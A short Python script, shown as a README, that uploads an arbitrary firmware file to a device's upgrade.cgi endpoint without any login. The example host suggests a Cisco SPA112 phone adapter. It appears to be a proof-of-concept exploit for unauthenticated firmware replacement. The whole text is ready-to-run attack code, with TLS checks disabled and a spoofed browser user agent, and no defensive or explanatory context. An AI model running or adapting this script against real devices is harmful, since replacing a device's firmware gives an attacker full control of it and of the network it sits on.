README.md
Rendering markdown...
#!/usr/bin/env python3
import requests
import sys
def upload_firmware(base_url, firmware):
data = {'submit_button': 'Upgrade',
'change_action': '',
'submit_type': '',
'upgradeflag': 1,
'closeflg': 1,
'privilege_str': '',
'privilege_end': ''
}
headers = {'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.5615.138 Safari/537.36',
'Connection': 'close'}
files = {'file': ('fw.bin', open(firmware, 'rb'), 'application/binary')}
upgrade_url = f'{base_url}/upgrade.cgi'
try:
print(f'Base URL: {base_url}')
print(f'Upgrade URL: {upgrade_url}')
print(f'Firmware File: {firmware}')
print('Sending firmware update...')
r = requests.post(upgrade_url, data=data, files=files, verify=False)
if "is successful" in r.text:
print('Firmware upgrade successful. Device will reboot eventually and be running the new FW.')
else:
print('Did not get the expected glorious success. Dumping response.')
print(r.text)
except Exception as e:
print('Did not get the expected glorious success as we hit an exception. Dumping the exception..')
print('Note: if your firmware binary was bad/malformed, this happens. The device will reboot anyway.')
print(str(e))
def main():
if len(sys.argv) != 3:
sys.exit(f'use: {sys.argv[0]} http://spa112.lol firmware.bin')
upload_firmware(sys.argv[1], sys.argv[2])
if __name__ == "__main__":
main()